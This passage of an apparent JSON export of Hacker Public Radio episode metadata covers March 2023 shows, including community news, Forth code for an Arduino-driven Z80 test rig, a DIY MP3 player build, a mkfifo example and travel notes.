                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Documents, Formats","version":0,"downloads":0,"valid":1}, {"id":3806,"date":"2023-03-06","title":"HPR Community News for February 2023","duration":4592,"summary":"HPR Volunteers talk about shows released and comments posted in February 2023","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n screwtape, \n StarshipTux, \n David Thrane Christiansen.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3783Wed2023-02-01Accessibility, and Navigating the HPR Web Pages with a Screen ReaderMike Ray
                                                            3784Thu2023-02-02Two factor authentication without a phone numberCeleste
                                                            3785Fri2023-02-03Hacking Boba Bubble Tapioca Pearls Fail operat0r
                                                            3786Mon2023-02-06HPR Community News for January 2023HPR Volunteers
                                                            3787Tue2023-02-07It shouldn't crackle like thatRho`n
                                                            3788Wed2023-02-08Nitecore Tube torchDave Morriss
                                                            3789Thu2023-02-09Common lisp portable games including acl2 formal logicscrewtape
                                                            3790Fri2023-02-10Tucson, Part 2Ahuka
                                                            3791Mon2023-02-13My Hardware Problem - KeyboardsStarshipTux
                                                            3792Tue2023-02-14Learning to read music, part oneenistello
                                                            3793Wed2023-02-15RE: Zen_Floater2Some Guy On The Internet
                                                            3794Thu2023-02-16Retro Karaoke machine restoredArcher72
                                                            3795Fri2023-02-172022-2023 New Years Show Episode 1HPR Volunteers
                                                            3796Mon2023-02-20Dependent TypesDavid Thrane Christiansen
                                                            3797Tue2023-02-21How to submit changes to HPRKen Fallon
                                                            3798Wed2023-02-22Laptop Second SSD MXLinux InstallMechatroniac
                                                            3799Thu2023-02-23My home router historynorrist
                                                            3800Fri2023-02-24NIST Quantum Cryptography Update 20221008Ahuka
                                                            3801Mon2023-02-27Enter the gopherscrewtape
                                                            3802Tue2023-02-28Attack of the SquishmallowRho`n
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 30 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 2 comments on\n2 previous shows:

                                                            \n\n

                                                            This month's shows

                                                            \n

                                                            There are 28 comments on 11 of this month's shows:

                                                            \n
                                                            • hpr3783\n(2023-02-01) \"Accessibility, and Navigating the HPR Web Pages with a Screen Reader\"\nby Mike Ray.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMechatroniac on 2023-02-03:\n\"HPR\"
                                                              • Comment 2:\nKen Fallon on 2023-02-04:\n\"Podcast Clients\"
                                                              • Comment 3:\nMechatroniac on 2023-02-12:\n\"gpodder\"
                                                              • Comment 4:\nMechatroniac on 2023-02-12:\n\"awkward web site\"
                                                              • Comment 5:\nMechatroniac on 2023-02-13:\n\"nm\"
                                                              • Comment 6:\nKen Fallon on 2023-02-14:\n\"Fixed.\"

                                                              \n
                                                            • hpr3784\n(2023-02-02) \"Two factor authentication without a phone number\"\nby Celeste.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nZen_floater2 on 2023-02-07:\n\"Thank you for making this podcast\"

                                                              \n
                                                            • hpr3789\n(2023-02-09) \"Common lisp portable games including acl2 formal logic\"\nby screwtape.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2023-02-09:\n\"Great First Episode!\"
                                                              • Comment 2:\nZen_floater2 on 2023-02-09:\n\"Nice show\"

                                                              \n
                                                            • hpr3791\n(2023-02-13) \"My Hardware Problem - Keyboards\"\nby StarshipTux.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2023-02-13:\n\"Keyboard Addiction\"

                                                              \n
                                                            • hpr3792\n(2023-02-14) \"Learning to read music, part one\"\nby enistello.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2023-02-14:\n\"What fun!\"
                                                              • Comment 2:\njezra on 2023-02-15:\n\"quite possibly the most toe-tapping episode of HPR\"

                                                              \n
                                                            • hpr3793\n(2023-02-15) \"RE: Zen_Floater2\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nZen_floater2 on 2023-02-15:\n\"Appraising the show!\"
                                                              • Comment 2:\nSome Guy on The Internet on 2023-02-21:\n\"You are welcome kind Squirrel.\"

                                                              \n
                                                            • hpr3796\n(2023-02-20) \"Dependent Types\"\nby David Thrane Christiansen.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nmcnalu on 2023-02-22:\n\"Concise and clear\"

                                                              \n
                                                            • hpr3797\n(2023-02-21) \"How to submit changes to HPR\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMechatroniac on 2023-02-22:\n\"Very cool\"
                                                              • Comment 2:\nnorrist on 2023-02-22:\n\"Repo Location\"
                                                              • Comment 3:\nnorrist on 2023-02-24:\n\"Automated build on Gitlab\"
                                                              • Comment 4:\nrho`n on 2023-02-25:\n\"Sweet! nice work norrist\"
                                                              • Comment 5:\nrho`n on 2023-02-25:\n\"RE: Registering at https://repo.anhonesthost.net\"

                                                              \n
                                                            • hpr3798\n(2023-02-22) \"Laptop Second SSD MXLinux Install\"\nby Mechatroniac.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMechatroniac on 2023-02-22:\n\"lol\"
                                                              • Comment 2:\nZen_floater2 on 2023-02-23:\n\"OBS-STUDIO comment.\"
                                                              • Comment 3:\nMechatroniac on 2023-02-25:\n\"reply to zenfloater2\"
                                                              • Comment 4:\nLuna bittin Jernberg on 2023-02-27:\n\"Slackware Grub\"

                                                              \n
                                                            • hpr3799\n(2023-02-23) \"My home router history\"\nby norrist.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nZen_floater2 on 2023-02-26:\n\"Extremely entertaining\"
                                                              • Comment 2:\nWindigo on 2023-02-26:\n\"Custom Routers\"

                                                              \n
                                                            • hpr3800\n(2023-02-24) \"NIST Quantum Cryptography Update 20221008\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2023-02-26:\n\"moore's law\"
                                                              • Comment 2:\nZen_floater2 on 2023-02-26:\n\"Very Interesting\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-February/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3807,"date":"2023-03-07","title":"PeePaw builds a computer","duration":2040,"summary":"Brian starts the process of building an 8 bit retro computer","notes":"
                                                              \n
                                                            1. intro\n
                                                                \n
                                                              • who is peepaw?
                                                                \nMe!
                                                              • \n
                                                              • why a retro computer?
                                                                \nhelp a kid understand computers
                                                              • \n
                                                              • why z80?
                                                                \ncheap, available, cheap
                                                              • \n
                                                            2. \n
                                                            3. the plan\n
                                                            4. \n
                                                            5. getting started, the nop test\n
                                                                \n
                                                              • use an arduino mega board and some forth to spin up the most basic\nz80 system
                                                                \nhttps://gitlab.com/8bitforce/retroshield-hw/-/tree/master/hardware
                                                              • \n
                                                              • give the z80 5 volts, a clock and the right data and it will happily\nstart up and run through its address space doing nothing
                                                              • \n
                                                            6. \n
                                                            7. the nop tester, in software\n
                                                            8. \n
                                                            9. the code walk through, start from the bottom up note: ( -- ) are\nstack effect comments, back slashes are plain comments\n
                                                                \n
                                                              • constants
                                                              • \n
                                                              • variable
                                                              • \n
                                                              • @ ! mset mclr mtst
                                                              • \n
                                                              • set up external interrupt, int4, arduino board pin4
                                                              • \n
                                                            10. \n
                                                            \n
                                                            \\ the source code\n\\ declare some constants and variable as labels\nvariable Compare\nvariable Count\n\n$100 constant PINH      \\ these labels come from the atmega2560 datasheet\n$101 constant DDRH\n$102 constant PORTH\n$a0 constant TCCR4A\n$a1 constant TCCR4B\n$a8 constant OCR4A\n$2c constant PINE\n$2d constant DDRE\n$2e constant PORTE\n$6a constant EICRB\n$3d constant EIMSK\n\n: ext4.irq ( -- ) Count @ 1+ Count ! ;i  \\ the frequency counter\n\n: logicprobe-init ( -- )\n    1249 Compare ! \\ 100 hz\n    %0000.1000 DDRH mset \\ h3 output\n    %0100.0000 TCCR4A c!  \\ toggle d6, ph3 on compare match\n    0000.1011 %TCCR4B c!  \\ set ctc mode, clk/64\n    Compare @ OCR4A !  \\ set compare value\n    %0 DDRE c! \\ e input\n    0001.0000 PORTE mset \\ pullup on e4\n    %0000.0010 %EICRB mset \\ falling edge\n    ['] ext4.irq #6 int!\n;\n\n\\ helper words\n\n: start-clock ( -- )  %0100.0000 TCCR4A c! %0000.1011 TCCR4B c! ;    \\ the bit manipulation does what the word says\n: stop-clock ( -- )   %0000.0000 TCCR4A c!  %0000.0000 TCCR4B c! ;\n: set-frequency ( n -- )  OCR4A ! ;    \\ set compare value\n: pin-high ( -- )  %0000.1000 PORTH mset ;\n: pin-low ( -- )    %0000.1000 PORTH mclr ;\n: open-gate ( -- )   0 Count ! %0001.0000 EIMSK mset ;\n: close-gate ( -- )   %0001.0000 EIMSK mclr ;\n\n: process-data ( -- )\n  Count @ 1- Count !       \\ clean up value in Count\n  Count @ dup 0 > if       \\ is Count greater than 0, if so its pulsing\n     cr ." freq=" 10 * .\n  else                     \\ otherwise its not so is it high or low?\n      drop\n      %0000.1000 PINH mtst\n      if\n         ." high"\n       else\n          ." low"\n      then then\n ;\n\n : wait ( -- ) 100 ms ;\n\n : sample-pin ( -- ) open-gate wait close-gate process-data ;  \\ the 'logic probe'
                                                            \n
                                                              \n
                                                            1. test
                                                              \nArduino
                                                              \n

                                                              \n
                                                                \n
                                                              • clock, using 16 bit timer4, its output is on pin6, running at\n100hz
                                                              • \n
                                                              • need to be able to start and stop the clock, and set the output pin\nhigh or low
                                                              • \n
                                                              • sample-pin is the word that does the work
                                                              • \n
                                                              • ouput from the serial terminal exercising the logic probe ( comments\nadd after the fact):
                                                              • \n
                                                              \n
                                                              E FlashForth 5 ATmega2560 13.06.2022\n\nok<#,ram>\nlogicprobe-init ok<#,ram>    (start up the logic probe)\nsample-pin                   (sample the pin)\nfreq=100 ok<#,ram>           ( its oscilating at 100hz)\nstop-clock ok<#,ram>\nsample-pin low ok<#,ram>     ( after stopping the clock the pin is low)\npin-high ok<#,ram>\nsample-pin\nhigh ok<#,ram>               ( now its high)\n125 set-frequency ok<#,ram>\nstart-clock ok<#,ram>\nsample-pin\nfreq=1000 ok<#,ram>          ( after changing the frequency its 1000hz)
                                                            2. \n
                                                            3. next time

                                                              \n
                                                                \n
                                                              • repurpose the 16bit clock and use it to drive the z80, we'll hook up\nthe data port of the z80 to the arduino mega and use the logic probe to\nsee if the z80 is working
                                                              • \n
                                                            4. \n
                                                            \n","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"retro computing, forth, arduino","version":0,"downloads":0,"valid":1}, {"id":3808,"date":"2023-03-08","title":"Funkwhale A social platform to enjoy and share music","duration":3650,"summary":"Ken interviews Ciarán Ainsworth about Funkwhale that lets you listen and share music and audio","notes":"

                                                            Funkwhale is a community-driven project that lets you listen and\nshare music and audio within a decentralized, open network

                                                            \n\n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"funkwhale,Grooveshark,iTunes,vue,musicbrainz,picard,subsonic,castopod","version":0,"downloads":0,"valid":1}, {"id":3809,"date":"2023-03-09","title":"The Abominable Post Apocalyptic Podcast Player","duration":1194,"summary":"Build a Three Dollar MP3 player in One Hour","notes":"

                                                            Notes: Forgot to mention that I hot glued the top lid (original lid\nfor the 'speaker box'), on top of the boards. I had used the device with\nthe top uncovered for a month because I hoped I would find a better\nchoice but after getting tired of the wires detaching and worrying about\nthe sdcard slot getting wrecked I decided to commit to glueing the lid\non.

                                                            \n

                                                            The boards are very robust, I dropped them in the snow a few times.\nThey would stop working but after drying off would function.

                                                            \n

                                                            I didn't find the datasheet with the resistance values for other\nvalues until after I glued the lid so will have to open it up again or\nget into one of the switch lines and do resistor combinations... now\nthat I know more I think I should be able to control the mp3 player with\none analog output pin from the arduino for all the functions, since it\nseems the pin 8 that all the switch resistors lead to detects voltage\nlevels from the voltage divider created when one of the switches goes to\nground.

                                                            \n

                                                            The robot is using 4 lines right now for mp3 control. Would be cool\nif I could free up 3 more but I don't remember if any of them are\noccupying an analogue slot.

                                                            \n

                                                            No power button! None needed. Pause and unpause via momentary switch.\nThe charger board can charge from micro usb or usb-c and will protect\nyour 18650 cell from running flat and damaging itself.

                                                            \n

                                                            Check out my robots: https://bitchute.com/channel/mechatroniac

                                                            \n

                                                            Post Apocalyptic Robotics Database Entry:
                                                            \nHH000000000
                                                            \nH Hybrid: Denotes some prepurchased or hard to find components
                                                            \nH Human use: For use by biological humans

                                                            \n

                                                            Tools and supplies

                                                            \n
                                                              \n
                                                            • multimeter - not strictly required but highly recommended
                                                            • \n
                                                            • Soldering iron
                                                            • \n
                                                            • solder(thinner solder wire works better for electronics)
                                                            • \n
                                                            • wire stripper
                                                            • \n
                                                            • hot glue gun
                                                            • \n
                                                            • electric or duct tape
                                                            • \n
                                                            • side cutters/cutting pliers/aircraft snips
                                                            • \n
                                                            \n

                                                            Buy:

                                                            \n\n

                                                            Find or Buy:

                                                            \n
                                                              \n
                                                            • short lengths of wire

                                                            • \n
                                                            • 4 ohm speaker (can be found in old tvs)

                                                            • \n
                                                            • momentary switches(3) - can be found in vcrs, tvs, dvd\nplayers...

                                                            • \n
                                                            • 18650 cell

                                                            • \n
                                                            • 3.5g weed jar or similar + lid

                                                            • \n
                                                            • larger lid

                                                            • \n
                                                            \n

                                                            (optional)
                                                            \nYou should consider getting an arduino or a kit

                                                            \n
                                                              \n
                                                            • Keyestudio Basic Starter Kit V2.0 With UNO R3 Board Or Mega 2560\nR3 Board
                                                              \nhttps://www.aliexpress.com/item/1005004961819902.html

                                                            • \n
                                                            • GPD2846A datasheet
                                                              \nhttps://pdf1.alldatasheet.com/datasheet-pdf/view/1132627/ETC2/GPD2846A.html
                                                              \nhttps://datasheetspdf.com/pdf-file/949393/Generalplus/GPD2846/1

                                                            • \n
                                                            \n

                                                            Picture 1 - shows the slit in the lid where the sdcard resides. Sdcard and slot are protected from being bumped by the strategically placed, glued lid
                                                            \n
                                                            Click the thumbnail to see\nthe full-sized image

                                                            \n

                                                            Picture 2 - shows charging, microusb cord is coming in from the bottom, LED on charging board illuminates brightly
                                                            \n
                                                            Click the thumbnail to see\nthe full-sized image

                                                            \n

                                                            Picture 3 - shows both boards glued to bottom lid, with the top lid off
                                                            \n
                                                            Click the thumbnail to see\nthe full-sized image

                                                            \n

                                                            Picture 4
                                                            \n
                                                            Click the thumbnail to see\nthe full-sized image

                                                            \n","hostid":401,"series":91,"explicit":1,"license":"CC-BY-SA","tags":"robotics, mp3, GPD2846A, GPD2846, DIY, arduino ","version":0,"downloads":0,"valid":1}, {"id":3810,"date":"2023-03-10","title":"Clifton, Arizona","duration":963,"summary":"We move to another Arizona town, Clifton.","notes":"

                                                            We have left the Tucson area and moved up into the mountains to\nClifton, Arizona, a mining town. Arizona is a major source of Copper for\nthe U.S., and Clifton has one of the larger open pit mines in the world,\nand the largest in the U.S.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"Travel, RV life, Arizona, Clifton","version":0,"downloads":0,"valid":1}, {"id":3811,"date":"2023-03-13","title":"mkfifo and named pipes","duration":678,"summary":"Have you ever named a pipe? If not, this is the episode you've been waiting for.","notes":"

                                                            A named pipe is like a UNIX pipe, except it takes the form of a file.

                                                            \n\n
                                                            \n$ mkfifo mypipe\n$ echo \"Hacker Public Radio\" > mypipe &\n$ cat mypipe\nHacker Public Radio\n
                                                            \n\n","hostid":78,"series":42,"explicit":0,"license":"CC-BY-SA","tags":"pipe, fifo, mkfifo, Linux, shell","version":0,"downloads":0,"valid":1}, {"id":3812,"date":"2023-03-14","title":"PeePaw's computer does nothing","duration":1527,"summary":"a z80 nop test","notes":"

                                                            peepaws computer does nothing

                                                            \n
                                                              \n
                                                            1. who's peepaw, whats the goal\n
                                                                \n
                                                              • to build and understand the inner workings of an 8 bit computer and\nmaybe one day pass it on to a grand kid
                                                              • \n
                                                            2. \n
                                                            3. this episode -nop test\n
                                                                \n
                                                              • do a nop test, that is get the z80 up and running executing the nop\ninstruction
                                                              • \n
                                                              • using the facilities of an arduino mega board running flash forth to\ndo that, talk about pictures
                                                              • \n
                                                              • why? flash forth is interactive, without being such a big\napplication itself. Happily runs on an atmega328
                                                              • \n
                                                              • why the mega, oodles and oodles of io, so emulating hardware should\nbe a snap
                                                              • \n
                                                              • use the microcontroller board to provide 5 volts, clock signal and\ndata to get the z80 up and running
                                                              • \n
                                                              • use the logic probe to see if there is activity on the address\nbus
                                                              • \n
                                                            4. \n
                                                            5. wiring up\n
                                                                \n
                                                              • hot glued solderless breadboard on to an arduino mega protoshield,\nwhite wire is the logicprobe input
                                                              • \n
                                                              • power and ground first
                                                              • \n
                                                              • clock, blue
                                                              • \n
                                                              • control lines int, nmi, wait busrq and reset
                                                              • \n
                                                              • orange wires data bus
                                                              • \n
                                                              • address lines go around the chip clockwise from the clock signal\n(blue wire) we'll be probing A0, next to the ground line
                                                              • \n
                                                            6. \n
                                                            \n

                                                            1.logicprobe.jpg
                                                            \n

                                                            \n

                                                            2.power.jpg
                                                            \n

                                                            \n

                                                            3.clock.jpg
                                                            \n

                                                            \n

                                                            4.control.signals.jpg
                                                            \n

                                                            \n

                                                            5.data.jpg
                                                            \n

                                                            \n

                                                            6.ready.to.probe.jpg
                                                            \n

                                                            \n

                                                            z80-pinout.jpg
                                                            \n

                                                            \n

                                                            2560-pinout.jpg
                                                            \n
                                                            Click the thumbnail\nto see the full-sized image

                                                            \n
                                                              \n
                                                            1. fixing some words, refactoring some words, defining new words\n
                                                                \n
                                                              • fixed the data processing word to us the input on pin e4 (digital 2)\nnot the output on pin h6 (digital 9)
                                                              • \n
                                                              • changed freq= some value to simply pulse, not interested in the\nspecific frequency
                                                              • \n
                                                              • split clock and logic probe init words
                                                              • \n
                                                              • added some words to control the reset line reset and run
                                                              • \n
                                                              • added a word step that allows for single clock pulses
                                                              • \n
                                                            2. \n
                                                            3. the test, mega board plugged into laptop, seral terminal running\n
                                                                \n
                                                              • spool up the logic probe
                                                              • \n
                                                              • spool up the microcontroller board setting up a port to provide data\non the z80 data bus (rudimentary rom)
                                                              • \n
                                                              • add 5 volts
                                                              • \n
                                                              • initialize and start the clock
                                                              • \n
                                                              • probe the clock line
                                                              • \n
                                                              • probe a0 line
                                                              • \n
                                                            4. \n
                                                            5. a little more to see what else we can discern\n
                                                                \n
                                                              • single step to reset
                                                              • \n
                                                              • probe m1
                                                              • \n
                                                              • single step to reset
                                                              • \n
                                                              • add halt instruction
                                                              • \n
                                                              • probe halt line
                                                              • \n
                                                            6. \n
                                                            7. this is output captured from the tests run on the show. lines that\nbegin with a back slash are comments used as narration\nok<#,ram> is the forth interpreter reporting it has\nsuccessfully processed the proceeding word(s), including comments pulse,\nhigh and low are output from the logicprobe, all other words are defined\nin the source text and the end of the notes
                                                            8. \n
                                                            \n
                                                            E FlashForth 5 ATmega2560 13.06.2022\n\n\\ initialize the logic probe  ok<#,ram>\nlogicprobe.init  ok<#,ram>\n\\ initialize the clock  ok<#,ram>\nclock.init  ok<#,ram>\n\\ initialize arduinomega ports that interact with z80  ok<#,ram>\nz80.ports.init  ok<#,ram>\n\\ add power on the board  ok<#,ram>\n\\ probe the clock pin to see if there is activity  ok<#,ram>\nsample\npulse ok<#,ram>\n\\ success!  ok<#,ram>\n\\ probe adrress line A0, pin 30 on the z80  ok<#,ram>\nsample\npulse ok<#,ram>\n\\ pulse means there is activity on the bus  ok<#,ram>\n\\ stop the clock and probe A0 again, should see either a static high or low\nsignal ok<#,ram>\nstop.clock sample\nlow ok<#,ram>\n\\ now move logic probe to pin 27, the M1 signal  ok<#,ram>\n\\ put the z80 in reset and give three clock steps  ok<#,ram>\nreset  ok<#,ram>\nstep  ok<#,ram>\nstep  ok<#,ram>\nstep  ok<#,ram>\n\\ the z80 should be reset, now put in run  ok<#,ram>\nrun  ok<#,ram>\n\\ now single step the clock to see the M1  ok<#,ram>\n\\ signal go from high to low as the z80 begins   ok<#,ram>\n\\ fetching data fro the data bus at address 0  ok<#,ram>\nstep sample\nhigh ok<#,ram>\nstep sample\nhigh ok<#,ram>\nstep sample\nlow ok<#,ram>\nstep sample\nlow ok<#,ram>\nstep sample\nhigh ok<#,ram>\n\\ success! the M1 signal is working as expected  ok<#,ram>\n\\ now reset the z80 and see what happens when  ok<#,ram>\n\\ we give a different instruction this time hex 76  ok<#,ram>\n\\ the halt instruction. We should see the halt signal go from   ok<#,ram>\n\\ high to low  ok<#,ram>\nreset step step step  ok<#,ram>\n\\ put hat instruction on data lines  ok<#,ram>\n$76 DATA c!  ok<#,ram>\n\\ now run mode  ok<#,ram>\nrun  ok<#,ram>\n\\ step clock and sample pin 18 the halt line  ok<#,ram>\nstep sample\nhigh ok<#,ram>\nstep sample\nhigh ok<#,ram>\nstep sample\nhigh ok<#,ram>\nstep sample\nhigh ok<#,ram>\nstep sample\nhigh ok<#,ram>\nstep sample\nlow ok<#,ram>\nstep sample\nlow ok<#,ram>\n\\ 4 clock cycles and halt line goes low and stays low, success!  ok<#,ram>\n\\ thanks for listening  ok<#,ram>
                                                            \n
                                                              \n
                                                            1. Forth source code
                                                            2. \n
                                                            \n
                                                            -logicprobe\nmarker -logicprobe\n\nvariable Compare\nvariable Count\n\n$100 constant PINH\n$101 constant DDRH\n$102 constant PORTH\n\n$a0 constant TCCR4A\n$a1 constant TCCR4B\n$a8 constant OCR4A\n\n$2c constant PINE\n$2d constant DDRE\n$2e constant PORTE\n\n$6a constant EICRB\n$3d constant EIMSK\n\n: ext4.irq ( -- ) Count @ 1+ Count ! ;i\n\n: logicprobe.init ( -- )\n  %0 DDRE c! \\ e input\n  %0000.0010 EICRB mset \\ falling edge\n  ['] ext4.irq #6 int! \\ attach interrupt\n;\n\n: clock.init ( -- )\n  1249 Compare ! \\ 100 hz\n  %0000.1000 DDRH mset \\ h3 output\n  %0100.0000 TCCR4A c!  \\ toggle d6, ph3 on compare match\n  %0000.1011 TCCR4B c!  \\ set ctc mode, clk/64\n  Compare @ OCR4A !    \\ set compare value\n;\n\n\\ helper words\n: start.clock ( -- )  %0100.0000 TCCR4A c! %0000.1011 TCCR4B c! ;\n: stop.clock ( -- )   %0000.0000 TCCR4A c!  %0000.0000 TCCR4B c! ;\n: set.frequency ( n -- )  OCR4A ! ;    \\ set compare value\n: pin.high ( -- )  %0000.1000 PORTH mset ;\n: pin.low ( -- )    %0000.1000 PORTH mclr ;\n: open.gate ( -- )   0 Count ! %0001.0000 EIMSK mset ;\n: close.gate ( -- )   %0001.0000 EIMSK mclr ;\n\n: process.data ( -- )\n  Count @ 1-\n  Count !\n  Count @ 0 > if\n    \\ cr ." freq=" 10 * .\n    cr ." pulse"\n  else\n    %0001.0000 PINE mtst if\n      cr ." high"\n    else\n      cr ." low"\n    then then\n;\n\n: wait 100 ms ;\n\n: sample ( -- ) open.gate wait close.gate process.data ;\n\n\\ nop tester\n-nop\nmarker -nop\n\n$20 constant PINA\n$21 constant DDR.DATA\n$22 constant DATA\n\n$23 constant PINB\n$24 constant DDRB\n$25 constant PORTB\n\n$2f constant PINF\n$30 constant DDRF\n$31 constant PORTF\n\n%0000.0001 constant WAIT\n%0000.0010 constant BUSRQ\n%0000.0100 constant RESET\n%0001.0000 constant INT\n%0010.0000 constant NMI\n\n: z80.ports.init ( -- )\n  \\ data port output\n  $ff DDR.DATA c!\n  \\ control signals, output\n  NMI INT or DDRB mset\n  WAIT BUSRQ RESET or or DDRF mset\n  \\ nop instruction on data port\n  $ff DATA mclr\n  \\ control lines high\n  NMI INT or PORTB mset\n  WAIT BUSRQ RESET or or PORTF mset\n;\n\n: reset ( -- ) RESET PORTF mclr ;\n: run ( -- ) RESET PORTF mset ;\n: step ( -- ) pin.high 1 ms pin.low ;\n\n\\ logicprobe.init\n\\ clock.init\n\\ z80.ports.init\n\\ sample
                                                            \n","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"z80, forth, retrocomputer","version":0,"downloads":0,"valid":1}, {"id":3813,"date":"2023-03-15","title":"The postmarketOS Podcast","duration":1893,"summary":"Ken welcomes a new podcast to the Free Culture Podcast family","notes":"

                                                            postmarketOS Podcast

                                                            \n\n\n
                                                            \n

                                                            #28 FOSDEM 2023 Special

                                                            \n\n

                                                            Between the Saturday closing of FOSDEM 2023 and going to a restaurant, we\nmanaged to squeeze around a table outside the cafeteria to record the very\nfirst ever in-person postmarketOS podcast episode! Fresh in the moment we share\nour experiences from the FOSS on mobile devroom, meeting great people at the\nLinux on Mobile stand (and everywhere else at FOSDEM/in Brussels) and random\nother cool things that were going down.

                                                            \n

                                                            Featuring @spaetz (sampled in the intro), @ollieparanoid, @linmob, @craftyguy,\n@MartijnBraam, @calebccff, @PureTryOut, @z3ntu (in order of appearance).

                                                            \n

                                                            Photos:

                                                            \n\n

                                                            Video recordings of the talks:

                                                            \n\n

                                                            PinePhone and Lima / Mesa:

                                                            \n

                                                            We're aware that\nmesa#8198\nis still causing problems for people on the PinePhone. Big thanks to @enues\nfrom mesa who was talking to us at the stand and is now looking into it! We\nalso have issue\npmaports#805 about\nscreen freezes. If you are affected by this and would like to help out, firing\nup a profiler and making/contributing to detailed, useful bugreports upstream\nat mesa is appreciated.

                                                            \n

                                                            @spaetz from Mobian did a great job at moderating the devroom! (Correction:\nOllie said from Maemo instead of Mobian in the recording.)

                                                            \n

                                                            Editing by: @ollieparanoid,\nMusic by: The Passion HiFi\n


                                                            \n","hostid":30,"series":75,"explicit":1,"license":"CC-BY-SA","tags":"postmarketOS,Free Culture Podcast,FOSDEM","version":0,"downloads":0,"valid":1}, {"id":3814,"date":"2023-03-16","title":"2022-2023 New Years Show Episode 3","duration":7265,"summary":"2022 - 2023 new years show where people come together and chat","notes":"

                                                            Episode #3

                                                            \n
                                                              \n
                                                            • wikipedia:\nThe Drunkard's Walk: How Randomness Rules Our Lives.
                                                            • \n
                                                            • wikipedia:\nLactose intolerance is a common condition caused by a decreased ability\nto digest lactose, a sugar found in dairy products.
                                                            • \n
                                                            • uncyclopedia:\nA tree hugging hippy is a hippy who hugs trees often found in Bezerkley,\nCalifornia. Many people think that there is much more to say about tree\nhugging hippies than just the fact that they hug trees, but reality is,\nthat there is not really very much more to say about tree hugging\nhippies than that they hug trees.
                                                            • \n
                                                            • merriam-webster:\nA vegetarian is a person who does not eat meat : someone whose diet\nconsists wholly of vegetables, fruits, grains, nuts, and sometimes eggs\nor dairy products.
                                                            • \n
                                                            • merriam-webster:\nA vegan is a strict vegetarian who consumes no food (such as meat, eggs,\nor dairy products) that comes from animals.
                                                            • \n
                                                            • wikipedia:\nLiberalism is a political and moral philosophy based on the rights of\nthe individual, liberty, consent of the governed, political equality and\nequality before the law. Liberals espouse various views depending on\ntheir understanding of these principles.
                                                            • \n
                                                            • wikipedia:\nConservatism is a cultural, social, and political philosophy that seeks\nto promote and to preserve traditional institutions, practices, and\nvalues. The central tenets of conservatism may vary in relation to the\nculture and civilization in which it appears.
                                                            • \n
                                                            • ssa: Social Security is\ncommitted to helping maintain the basic well-being and protection of the\npeople we serve. We pay benefits to about 64 million people including\nretirees, children, widows, and widowers. From birth, to marriage, and\ninto retirement, we are there to provide support throughout life's\njourney.
                                                            • \n
                                                            • wikipedia:\nIn physiology, dehydration is a lack of total body water, with an\naccompanying disruption of metabolic processes. It occurs when free\nwater loss exceeds free water intake, usually due to exercise, disease,\nor high environmental temperature. Mild dehydration can also be caused\nby immersion diuresis, which may increase risk of decompression sickness\nin divers.
                                                            • \n
                                                            • wikipedia:\nAn emergency medical technician (EMT), also known as an ambulance\ntechnician, is a health professional that provides emergency medical\nservices. EMTs are most commonly found working in ambulances. In\nEnglish-speaking countries, paramedics are a separate profession that\nhas additional educational requirements, qualifications, and scope of\npractice.
                                                            • \n
                                                            • wikipedia:\nPost-traumatic stress disorder (PTSD) is a mental and behavioral\ndisorder that can develop because of exposure to a traumatic event, such\nas sexual assault, warfare, traffic collisions, child abuse, domestic\nviolence, or other threats on a person's life.
                                                            • \n
                                                            • anxiety:\nAnxiety is the mind and body's reaction to stressful, dangerous, or\nunfamiliar situations. It's the sense of uneasiness, distress, or dread\nyou feel before a significant event.
                                                            • \n
                                                            • alcoholism:\nAlcoholism is a condition that develops over time as someone continues\nto abuse alcohol. The result of alcoholism is the inability to control\nthe urge to drink alcohol.
